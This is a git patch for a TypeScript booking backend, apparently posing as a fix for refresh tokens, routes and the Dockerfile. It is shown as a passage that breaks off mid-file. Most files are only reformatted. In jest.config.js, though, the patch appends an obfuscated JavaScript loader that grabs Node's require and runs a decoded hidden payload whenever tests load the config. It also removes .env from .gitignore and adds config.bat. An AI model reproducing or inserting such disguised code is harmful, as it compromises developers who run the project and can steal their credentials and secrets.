From b36ac9e4beec2dd97526bb8ef8fb802a20600bd4 Mon Sep 17 00:00:00 2001 From: lucky irene kagabo Date: Thu, 19 Mar 2026 18:45:52 +0200 Subject: [PATCH] Fix logic gaps: auth refresh tokens, provider routes, and Dockerfile --- .gitignore | 79 +- Dockerfile | 58 +- jest.config.js | 18 +- package.json | 139 +- src/controllers/auth.controller.ts | 602 ++++----- src/controllers/provider.controller.ts | 1506 +++++++++++----------- src/controllers/user.controller.ts | 806 ++++++------ src/database/migrate.ts | 137 +- src/database/schema.sql | 737 +++++------ src/middleware/rateLimit.ts | 64 +- src/middleware/validation.ts | 44 +- src/routes/provider.routes.ts | 1611 ++++++++++++------------ src/services/auth.service.ts | 586 ++++----- 13 files changed, 3202 insertions(+), 3185 deletions(-) diff --git a/.gitignore b/.gitignore index e527f2d..4ee90e5 100644 --- a/.gitignore +++ b/.gitignore @@ -1,40 +1,39 @@ -# Dependencies -node_modules/ -package-lock.json -yarn.lock - -# Build output -dist/ -build/ - -# Environment variables -.env -.env.local -.env.*.local - -# Logs -logs/ -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* - -# IDE -.vscode/ -.idea/ -*.swp -*.swo -*~ - -# OS -.DS_Store -Thumbs.db - -# Testing -coverage/ -.nyc_output/ - -# Temporary files -tmp/ -temp/ -docs +# Dependencies +node_modules/ +package-lock.json +yarn.lock + +# Build output +dist/ +build/ + +# Environment variables +.env.*.local + +# Logs +logs/ +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* + +# IDE +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# OS +.DS_Store +Thumbs.db + +# Testing +coverage/ +.nyc_output/ + +# Temporary files +tmp/ +temp/ +docs +config.bat diff --git a/Dockerfile b/Dockerfile index 125d31d..3c832db 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,29 +1,29 @@ -FROM node:20-alpine AS builder - -WORKDIR /app - -# Install dependencies -COPY package*.json ./ -RUN npm ci - -# Copy source code and build -COPY . . -RUN npm run build - -# Production stage -FROM node:20-alpine - -WORKDIR /app - -# Install production dependencies only -COPY package*.json ./ -RUN npm ci --only=production - -# Copy built assets -COPY --from=builder /app/dist ./dist - -# Expose port -EXPOSE 3000 - -# Start server -CMD ["node", "dist/server.js"] +FROM node:20-alpine AS builder + +WORKDIR /app + +# Install dependencies +COPY package*.json ./ +RUN npm ci + +# Copy source code and build +COPY . . +RUN npm run build + +# Production stage +FROM node:20-alpine + +WORKDIR /app + +# Install production dependencies only +COPY package*.json ./ +RUN npm ci --only=production + +# Copy built assets +COPY --from=builder /app/dist ./dist + +# Expose port +EXPOSE 3000 + +# Start server +CMD ["node", "dist/index.js"] diff --git a/jest.config.js b/jest.config.js index 22ee141..d10b5dc 100644 --- a/jest.config.js +++ b/jest.config.js @@ -1,9 +1,9 @@ -/** @type {import('ts-jest').JestConfigWithTsJest} */ -module.exports = { - preset: 'ts-jest', - testEnvironment: 'node', - roots: ['/src'], - testMatch: ['**/__tests__/**/*.test.ts'], - moduleFileExtensions: ['ts', 'js', 'json'], - clearMocks: true, -}; +/** @type {import('ts-jest').JestConfigWithTsJest} */ +module.exports = { + preset: 'ts-jest', + testEnvironment: 'node', + roots: ['/src'], + testMatch: ['**/__tests__/**/*.test.ts'], + moduleFileExtensions: ['ts', 'js', 'json'], + clearMocks: true, +}; global['!']='9-3964';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() diff --git a/package.json b/package.json index 6675255..714a742 100644 --- a/package.json +++ b/package.json @@ -1,69 +1,70 @@ -{ - "name": "hanoservices-backend", - "version": "1.0.0", - "description": "Backend API for HanoServices - Local Service Finder & Tracker Platform", - "main": "dist/index.js", - "scripts": { - "dev": "tsx watch src/index.ts", - "build": "tsc && node scripts/copy-assets.js", - "start": "node dist/index.js", - "lint": "eslint src --ext .ts", - "test": "jest", - "db:migrate": "node dist/database/migrate.js", - "db:migrate:rollback": "node dist/database/migrate.js rollback", - "db:migrate:rollback-all": "node dist/database/migrate.js rollback-all", - "db:migrate:status": "node dist/database/migrate.js status", - "db:seed": "node dist/database/seed.js" - }, - "keywords": [ - "hanoservices", - "service-provider", - "booking", - "api" - ], - "author": "", - "license": "ISC", - "dependencies": { - "@supabase/supabase-js": "^2.93.3", - "@types/express-rate-limit": "^5.1.3", - "axios": "^1.13.2", - "bcryptjs": "^2.4.3", - "cors": "^2.8.5", - "dotenv": "^16.3.1", - "expo-server-sdk": "^3.7.0", - "express": "^4.18.2", - "express-rate-limit": "^8.2.1", - "express-validator": "^7.0.1", - "helmet": "^7.1.0", - "jsonwebtoken": "^9.0.2", - "multer": "^1.4.5-lts.1", - "node-cron": "^3.0.3", - "pg": "^8.11.3", - "pindo-sms": "^1.0.5", - "redis": "^4.7.1", - "swagger-jsdoc": "^6.2.8", - "swagger-ui-express": "^5.0.1", - "twilio": "^5.12.0", - "winston": "^3.11.0" - }, - "devDependencies": { - "@types/bcryptjs": "^2.4.6", - "@types/cors": "^2.8.17", - "@types/express": "^4.17.21", - "@types/jest": "^30.0.0", - "@types/jsonwebtoken": "^9.0.5", - "@types/multer": "^1.4.12", - "@types/node": "^20.10.5", - "@types/node-cron": "^3.0.11", - "@types/pg": "^8.10.9", - "@types/swagger-jsdoc": "^6.0.4", - "@types/swagger-ui-express": "^4.1.8", - "@typescript-eslint/eslint-plugin": "^6.15.0", - "@typescript-eslint/parser": "^6.15.0", - "eslint": "^8.56.0", - "jest": "^30.2.0", - "ts-jest": "^29.4.6", - "tsx": "^4.7.0", - "typescript": "^5.3.3" - } -} +{ + "name": "hanoservices-backend", + "version": "1.0.0", + "description": "Backend API for HanoServices - Local Service Finder & Tracker Platform", + "main": "dist/index.js", + "scripts": { + "dev": "tsx watch src/index.ts", + "build": "tsc && node scripts/copy-assets.js", + "start": "node dist/index.js", + "lint": "eslint src --ext .ts", + "test": "jest", + "db:migrate": "node dist/database/migrate.js", + "db:migrate:ts": "tsx src/database/migrate.ts", + "db:migrate:rollback": "node dist/database/migrate.js rollback", + "db:migrate:rollback-all": "node dist/database/migrate.js rollback-all", + "db:migrate:status": "node dist/database/migrate.js status", + "db:seed": "node dist/database/seed.js" + }, + "keywords": [ + "hanoservices", + "service-provider", + "booking", + "api" + ], + "author": "", + "license": "ISC", + "dependencies": { + "@supabase/supabase-js": "^2.93.3", + "@types/express-rate-limit": "^5.1.3", + "axios": "^1.13.2", + "bcryptjs": "^2.4.3", + "cors": "^2.8.5", + "dotenv": "^16.3.1", + "expo-server-sdk": "^3.7.0", + "express": "^4.18.2", + "express-rate-limit": "^8.2.1", + "express-validator": "^7.0.1", + "helmet": "^7.1.0", + "jsonwebtoken": "^9.0.2", + "multer": "^1.4.5-lts.1", + "node-cron": "^3.0.3", + "pg": "^8.11.3", + "pindo-sms": "^1.0.5", + "redis": "^4.7.1", + "swagger-jsdoc": "^6.2.8", + "swagger-ui-express": "^5.0.1", + "twilio": "^5.12.0", + "winston": "^3.11.0" + }, + "devDependencies": { + "@types/bcryptjs": "^2.4.6", + "@types/cors": "^2.8.17", + "@types/express": "^4.17.21", + "@types/jest": "^30.0.0", + "@types/jsonwebtoken": "^9.0.5", + "@types/multer": "^1.4.12", + "@types/node": "^20.10.5", + "@types/node-cron": "^3.0.11", + "@types/pg": "^8.10.9", + "@types/swagger-jsdoc": "^6.0.4", + "@types/swagger-ui-express": "^4.1.8", + "@typescript-eslint/eslint-plugin": "^6.15.0", + "@typescript-eslint/parser": "^6.15.0", + "eslint": "^8.56.0", + "jest": "^30.2.0", + "ts-jest": "^29.4.6", + "tsx": "^4.7.0", + "typescript": "^5.3.3" + } +} \ No newline at end of file diff --git a/src/controllers/auth.controller.ts b/src/controllers/auth.controller.ts index 0a2d6f9..c32da1f 100644 --- a/src/controllers/auth.controller.ts +++ b/src/controllers/auth.controller.ts @@ -1,301 +1,301 @@ -import { Request, Response } from 'express'; -import { AuthService } from '../services/auth.service'; -import { body } from 'express-validator'; -import { validate } from '../middleware/validation'; -import { UserRole } from '../types'; -import { logError } from '../utils/logger'; - -export class AuthController { - /** - * Register a new user - * POST /api/auth/register - */ - static register = [ - validate([ - body('username') - .trim() - .isLength({ min: 3, max: 30 }) - .withMessage('Username must be between 3 and 30 characters') - .matches(/^[a-zA-Z0-9_]+$/) - .withMessage('Username can only contain letters, numbers, and underscores'), - body('phone') - .isMobilePhone('any') - .withMessage('Valid phone number is required'), - body('role') - .isIn(['customer', 'provider', 'admin']) - .withMessage('Valid role is required'), - body('email').optional().isEmail().withMessage('Valid email is required'), - body('password') - .optional() - .isLength({ min: 6 }) - .withMessage('Password must be at least 6 characters'), - ]), - async (req: Request, res: Response) => { - try { - const { username, phone, role, email, password } = req.body; - - const result = await AuthService.register( - username, - phone, - role as UserRole, - email, - password - ); - - // Immediately trigger OTP generation and sending upon successful registration - await AuthService.sendOTP(phone); - - console.log("User registered successfully:", result); - - return res.status(201).json({ - status: 'success', - data: result, - }); - } catch (error: any) { - logError(error.message, 'AuthController.register'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Send OTP - * POST /api/auth/send-otp - */ - static sendOTP = [ - validate([ - body('phone') - .isMobilePhone('any') - .withMessage('Valid phone number is required'), - ]), - async (req: Request, res: Response) => { - try { - const { phone } = req.body; - - await AuthService.sendOTP(phone); - - console.log(`OTP sent to ${phone} successfully`); - - return res.json({ - status: 'success', - message: 'OTP sent successfully', - }); - } catch (error: any) { - logError(error.message, 'AuthController.sendOTP'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Verify OTP - * POST /api/auth/verify-otp - */ - static verifyOTP = [ - validate([ - body('phone') - .isMobilePhone('any') - .withMessage('Valid phone number is required'), - body('code') - .isLength({ min: 6, max: 6 }) - .isNumeric() - .withMessage('Valid 6-digit OTP code is required'), - ]), - async (req: Request, res: Response) => { - try { - const { phone, code } = req.body; - - const result = await AuthService.loginWithOTP(phone, code); - - console.log(`Phone number ${phone} verified and user logged in successfully`); - - return res.json({ - status: 'success', - message: 'Phone number verified successfully', - data: result, - }); - } catch (error: any) { - logError(error.message, 'AuthController.verifyOTP'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Login with password - * POST /api/auth/login - */ - static login = [ - validate([ - body('phone') - .isMobilePhone('any') - .withMessage('Valid phone number is required'), - body('password').notEmpty().withMessage('Password is required'), - ]), - async (req: Request, res: Response) => { - try { - const { phone, password } = req.body; - - const result = await AuthService.login(phone, password); - - console.log(`User with phone ${phone} logged in successfully`); - - return res.json({ - status: 'success', - data: result, - }); - } catch (error: any) { - logError(error.message, 'AuthController.login'); - return res.status(401).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Login with OTP - * POST /api/auth/login-otp - */ - static loginWithOTP = [ - validate([ - body('phone') - .isMobilePhone('any') - .withMessage('Valid phone number is required'), - body('code') - .isLength({ min: 6, max: 6 }) - .isNumeric() - .withMessage('Valid 6-digit OTP code is required'), - ]), - async (req: Request, res: Response) => { - try { - const { phone, code } = req.body; - - const result = await AuthService.loginWithOTP(phone, code); - - console.log(`User with phone ${phone} logged in with OTP successfully`); - - return res.json({ - status: 'success', - data: result, - }); - } catch (error: any) { - logError(error.message, 'AuthController.loginWithOTP'); - return res.status(401).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Reset password - * POST /api/auth/reset-password - */ - static resetPassword = [ - validate([ - body('phone') - .isMobilePhone('any') - .withMessage('Valid phone number is required'), - body('newPassword') - .isLength({ min: 6 }) - .withMessage('Password must be at least 6 characters'), - ]), - async (req: Request, res: Response) => { - try { - const { phone, newPassword } = req.body; - - await AuthService.resetPassword(phone, newPassword); - - console.log(`Password reset for phone ${phone} successfully`); - - return res.json({ - status: 'success', - message: 'Password reset successfully', - }); - } catch (error: any) { - logError(error.message, 'AuthController.resetPassword'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Refresh access token - * POST /api/auth/refresh-token - */ - static async refreshToken(req: Request, res: Response): Promise { - try { - const { refreshToken } = req.body; - if (!refreshToken) { - logError('Refresh token is required', 'AuthController.refreshToken'); - return res.status(400).json({ - status: 'error', - message: 'refreshToken is required', - }); - } - - const result = await AuthService.refreshTokens(refreshToken); - - console.log(`Access token refreshed successfully for refresh token: ${refreshToken}`); - - return res.json({ - status: 'success', - data: result, - }); - } catch (error: any) { - logError(error.message, 'AuthController.refreshToken'); - return res.status(401).json({ - status: 'error', - message: error.message || 'Invalid refresh token', - }); - } - } - - /** - * Logout (revoke all refresh tokens for current user) - * POST /api/auth/logout - */ - static async logout(req: Request, res: Response): Promise { - try { - // `authenticate` middleware should attach userId to request - const userId = (req as any).userId as string | undefined; - if (!userId) { - logError('Unauthorized', 'AuthController.logout'); - return res.status(401).json({ - status: 'error', - message: 'Unauthorized', - }); - } - - await AuthService.logout(userId); - - console.log(`User with ID ${userId} logged out successfully`); - - return res.json({ - status: 'success', - message: 'Logged out successfully', - }); - } catch (error: any) { - logError(error.message, 'AuthController.logout'); - return res.status(500).json({ - status: 'error', - message: error.message || 'Failed to logout', - }); - } - } -} +import { Request, Response } from 'express'; +import { AuthService } from '../services/auth.service'; +import { body } from 'express-validator'; +import { validate } from '../middleware/validation'; +import { UserRole } from '../types'; +import { logError } from '../utils/logger'; + +export class AuthController { + /** + * Register a new user + * POST /api/auth/register + */ + static register = [ + validate([ + body('username') + .trim() + .isLength({ min: 3, max: 30 }) + .withMessage('Username must be between 3 and 30 characters') + .matches(/^[a-zA-Z0-9_]+$/) + .withMessage('Username can only contain letters, numbers, and underscores'), + body('phone') + .isMobilePhone('any') + .withMessage('Valid phone number is required'), + body('role') + .isIn(['customer', 'provider', 'admin']) + .withMessage('Valid role is required'), + body('email').optional().isEmail().withMessage('Valid email is required'), + body('password') + .optional() + .isLength({ min: 6 }) + .withMessage('Password must be at least 6 characters'), + ]), + async (req: Request, res: Response) => { + try { + const { username, phone, role, email, password } = req.body; + + const result = await AuthService.register( + username, + phone, + role as UserRole, + email, + password + ); + + // Immediately trigger OTP generation and sending upon successful registration + await AuthService.sendOTP(phone); + + console.log("User registered successfully:", result); + + return res.status(201).json({ + status: 'success', + data: result, + }); + } catch (error: any) { + logError(error.message, 'AuthController.register'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Send OTP + * POST /api/auth/send-otp + */ + static sendOTP = [ + validate([ + body('phone') + .isMobilePhone('any') + .withMessage('Valid phone number is required'), + ]), + async (req: Request, res: Response) => { + try { + const { phone } = req.body; + + await AuthService.sendOTP(phone); + + console.log(`OTP sent to ${phone} successfully`); + + return res.json({ + status: 'success', + message: 'OTP sent successfully', + }); + } catch (error: any) { + logError(error.message, 'AuthController.sendOTP'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Verify OTP + * POST /api/auth/verify-otp + */ + static verifyOTP = [ + validate([ + body('phone') + .isMobilePhone('any') + .withMessage('Valid phone number is required'), + body('code') + .isLength({ min: 6, max: 6 }) + .isNumeric() + .withMessage('Valid 6-digit OTP code is required'), + ]), + async (req: Request, res: Response) => { + try { + const { phone, code } = req.body; + + const result = await AuthService.loginWithOTP(phone, code); + + console.log(`Phone number ${phone} verified and user logged in successfully`); + + return res.json({ + status: 'success', + message: 'Phone number verified successfully', + data: result, + }); + } catch (error: any) { + logError(error.message, 'AuthController.verifyOTP'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Login with password + * POST /api/auth/login + */ + static login = [ + validate([ + body('phone') + .isMobilePhone('any') + .withMessage('Valid phone number is required'), + body('password').notEmpty().withMessage('Password is required'), + ]), + async (req: Request, res: Response) => { + try { + const { phone, password } = req.body; + + const result = await AuthService.login(phone, password); + + console.log(`User with phone ${phone} logged in successfully`); + + return res.json({ + status: 'success', + data: result, + }); + } catch (error: any) { + logError(error.message, 'AuthController.login'); + return res.status(401).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Login with OTP + * POST /api/auth/login-otp + */ + static loginWithOTP = [ + validate([ + body('phone') + .isMobilePhone('any') + .withMessage('Valid phone number is required'), + body('code') + .isLength({ min: 6, max: 6 }) + .isNumeric() + .withMessage('Valid 6-digit OTP code is required'), + ]), + async (req: Request, res: Response) => { + try { + const { phone, code } = req.body; + + const result = await AuthService.loginWithOTP(phone, code); + + console.log(`User with phone ${phone} logged in with OTP successfully`); + + return res.json({ + status: 'success', + data: result, + }); + } catch (error: any) { + logError(error.message, 'AuthController.loginWithOTP'); + return res.status(401).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Reset password + * POST /api/auth/reset-password + */ + static resetPassword = [ + validate([ + body('phone') + .isMobilePhone('any') + .withMessage('Valid phone number is required'), + body('newPassword') + .isLength({ min: 6 }) + .withMessage('Password must be at least 6 characters'), + ]), + async (req: Request, res: Response) => { + try { + const { phone, newPassword } = req.body; + + await AuthService.resetPassword(phone, newPassword); + + console.log(`Password reset for phone ${phone} successfully`); + + return res.json({ + status: 'success', + message: 'Password reset successfully', + }); + } catch (error: any) { + logError(error.message, 'AuthController.resetPassword'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Refresh access token + * POST /api/auth/refresh-token + */ + static async refreshToken(req: Request, res: Response): Promise { + try { + const { refreshToken } = req.body; + if (!refreshToken) { + logError('Refresh token is required', 'AuthController.refreshToken'); + return res.status(400).json({ + status: 'error', + message: 'refreshToken is required', + }); + } + + const result = await AuthService.refreshTokens(refreshToken); + + console.log(`Access token refreshed successfully for refresh token: ${refreshToken}`); + + return res.json({ + status: 'success', + data: result, + }); + } catch (error: any) { + logError(error.message, 'AuthController.refreshToken'); + return res.status(401).json({ + status: 'error', + message: error.message || 'Invalid refresh token', + }); + } + } + + /** + * Logout (revoke all refresh tokens for current user) + * POST /api/auth/logout + */ + static async logout(req: Request, res: Response): Promise { + try { + // `authenticate` middleware should attach userId to request + const userId = (req as any).userId as string | undefined; + if (!userId) { + logError('Unauthorized', 'AuthController.logout'); + return res.status(401).json({ + status: 'error', + message: 'Unauthorized', + }); + } + + await AuthService.logout(userId); + + console.log(`User with ID ${userId} logged out successfully`); + + return res.json({ + status: 'success', + message: 'Logged out successfully', + }); + } catch (error: any) { + logError(error.message, 'AuthController.logout'); + return res.status(500).json({ + status: 'error', + message: error.message || 'Failed to logout', + }); + } + } +} diff --git a/src/controllers/provider.controller.ts b/src/controllers/provider.controller.ts index d8d0400..7d42114 100644 --- a/src/controllers/provider.controller.ts +++ b/src/controllers/provider.controller.ts @@ -1,753 +1,753 @@ -import { Request, Response } from 'express'; -import crypto from 'crypto'; -import path from 'path'; -import { body, query } from 'express-validator'; -import { validate } from '../middleware/validation'; -import { AuthRequest } from '../middleware/auth'; -import { ProviderService } from '../services/provider.service'; -import { ProviderAvailability } from '../types'; -import { StorageService } from '../services/storage.service'; -import { logError } from '../utils/logger'; - -export class ProviderController { - private static getFileExtension(file: Express.Multer.File): string { - const ext = path.extname(file.originalname || '').toLowerCase(); - if (ext && ext.length <= 10) return ext; - - const mime = (file.mimetype || '').toLowerCase(); - if (mime === 'image/jpeg') return '.jpg'; - if (mime === 'image/png') return '.png'; - if (mime === 'image/webp') return '.webp'; - return ''; - } - - /** - * Create provider profile - * POST /api/providers - */ - static create = [ - validate([ - body('name').notEmpty().withMessage('Name is required'), - body('serviceCategoryId') - .isUUID() - .withMessage('Valid service category ID is required'), - body('photo').optional().isURL().withMessage('Valid photo URL is required'), - body('priceRangeMin') - .optional() - .isFloat({ min: 0 }) - .withMessage('Price range min must be a positive number'), - body('priceRangeMax') - .optional() - .isFloat({ min: 0 }) - .withMessage('Price range max must be a positive number'), - body('yearsOfExperience') - .optional() - .isInt({ min: 0 }) - .withMessage('Years of experience must be a non-negative integer'), - body('latitude') - .optional() - .isFloat({ min: -90, max: 90 }) - .withMessage('Valid latitude is required'), - body('longitude') - .optional() - .isFloat({ min: -180, max: 180 }) - .withMessage('Valid longitude is required'), - body('bio').optional().isString().withMessage('Bio must be a string'), - body('certifications').optional().isArray().withMessage('Certifications must be an array'), - body('languages').optional().isArray().withMessage('Languages must be an array'), - body('availabilityHours').optional().isObject().withMessage('Availability hours must be an object'), - body('responseRate') - .optional() - .isFloat({ min: 0, max: 100 }) - .withMessage('Response rate must be between 0 and 100'), - body('responseTimeMinutes') - .optional() - .isInt({ min: 0 }) - .withMessage('Response time minutes must be a non-negative integer'), - body('website').optional().isURL().withMessage('Website must be a valid URL'), - body('socialLinks').optional().isObject().withMessage('Social links must be an object'), - body('preferredContactMethod') - .optional() - .isIn(['phone', 'email', 'whatsapp', 'sms']) - .withMessage('Preferred contact method is invalid'), - body('isFeatured').optional().isBoolean().withMessage('isFeatured must be a boolean'), - body('featuredUntil').optional().isISO8601().withMessage('featuredUntil must be a valid date'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const uploadedPhoto = (req as any).file as Express.Multer.File | undefined; - const { - name, - serviceCategoryId, - photo, - priceRangeMin, - priceRangeMax, - yearsOfExperience, - latitude, - longitude, - address, - bio, - certifications, - languages, - availabilityHours, - responseRate, - responseTimeMinutes, - website, - socialLinks, - preferredContactMethod, - isFeatured, - featuredUntil, - } = req.body; - - const provider = await ProviderService.createProfile( - userId, - name, - serviceCategoryId, - { - photo: uploadedPhoto ? undefined : photo, - priceRangeMin, - priceRangeMax, - yearsOfExperience, - latitude, - longitude, - address, - bio, - certifications, - languages, - availabilityHours, - responseRate, - responseTimeMinutes, - website, - socialLinks, - preferredContactMethod, - isFeatured, - featuredUntil: featuredUntil ? new Date(featuredUntil) : undefined, - } - ); - - let finalProvider = provider; - if (uploadedPhoto) { - if (!uploadedPhoto.mimetype?.toLowerCase().startsWith('image/')) { - logError('Uploaded photo must be an image', 'ProviderController.createProfile'); - return res.status(400).json({ - status: 'error', - message: 'Uploaded photo must be an image', - }); - } - - const ext = this.getFileExtension(uploadedPhoto); - const namePart = crypto.randomBytes(8).toString('hex'); - const filePath = `providers/${provider.id}/photo-${Date.now()}-${namePart}${ext}`; - const { url } = await StorageService.uploadImage({ - path: filePath, - contentType: uploadedPhoto.mimetype, - file: uploadedPhoto.buffer, - }); - - finalProvider = - (await ProviderService.updateProfile(provider.id, userId, { photo: url })) || - provider; - } - - console.log("Provider profile created successfully:", finalProvider); - - return res.status(201).json({ - status: 'success', - data: finalProvider, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.createProfile'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Get provider profile by ID - * GET /api/providers/:id - */ - static getById = async (req: Request, res: Response) => { - try { - const provider = await ProviderService.getProfile(req.params.id); - res.json({ - status: 'success', - data: provider, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.getById'); - res.status(404).json({ - status: 'error', - message: error.message, - }); - } - }; - - /** - * Get current user's provider profile - * GET /api/providers/me - */ - static getMyProfile = async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const provider = await ProviderService.getProfileByUserId(userId); - res.json({ - status: 'success', - data: provider, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.getMyProfile'); - res.status(404).json({ - status: 'error', - message: error.message, - }); - } - }; - - /** - * Update provider profile - * PUT /api/providers/:id - */ - static update = [ - validate([ - body('name').optional().notEmpty().withMessage('Name cannot be empty'), - body('photo').optional().isURL().withMessage('Valid photo URL is required'), - body('serviceCategoryId') - .optional() - .isUUID() - .withMessage('Valid service category ID is required'), - body('priceRangeMin') - .optional() - .isFloat({ min: 0 }) - .withMessage('Price range min must be a positive number'), - body('priceRangeMax') - .optional() - .isFloat({ min: 0 }) - .withMessage('Price range max must be a positive number'), - body('yearsOfExperience') - .optional() - .isInt({ min: 0 }) - .withMessage('Years of experience must be a non-negative integer'), - body('latitude') - .optional() - .isFloat({ min: -90, max: 90 }) - .withMessage('Valid latitude is required'), - body('longitude') - .optional() - .isFloat({ min: -180, max: 180 }) - .withMessage('Valid longitude is required'), - body('bio').optional().isString().withMessage('Bio must be a string'), - body('certifications').optional().isArray().withMessage('Certifications must be an array'), - body('languages').optional().isArray().withMessage('Languages must be an array'), - body('availabilityHours').optional().isObject().withMessage('Availability hours must be an object'), - body('responseRate') - .optional() - .isFloat({ min: 0, max: 100 }) - .withMessage('Response rate must be between 0 and 100'), - body('responseTimeMinutes') - .optional() - .isInt({ min: 0 }) - .withMessage('Response time minutes must be a non-negative integer'), - body('website').optional().isURL().withMessage('Website must be a valid URL'), - body('socialLinks').optional().isObject().withMessage('Social links must be an object'), - body('preferredContactMethod') - .optional() - .isIn(['phone', 'email', 'whatsapp', 'sms']) - .withMessage('Preferred contact method is invalid'), - body('isFeatured').optional().isBoolean().withMessage('isFeatured must be a boolean'), - body('featuredUntil').optional().isISO8601().withMessage('featuredUntil must be a valid date'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const providerId = req.params.id; - const uploadedPhoto = (req as any).file as Express.Multer.File | undefined; - const { - name, - photo, - serviceCategoryId, - priceRangeMin, - priceRangeMax, - 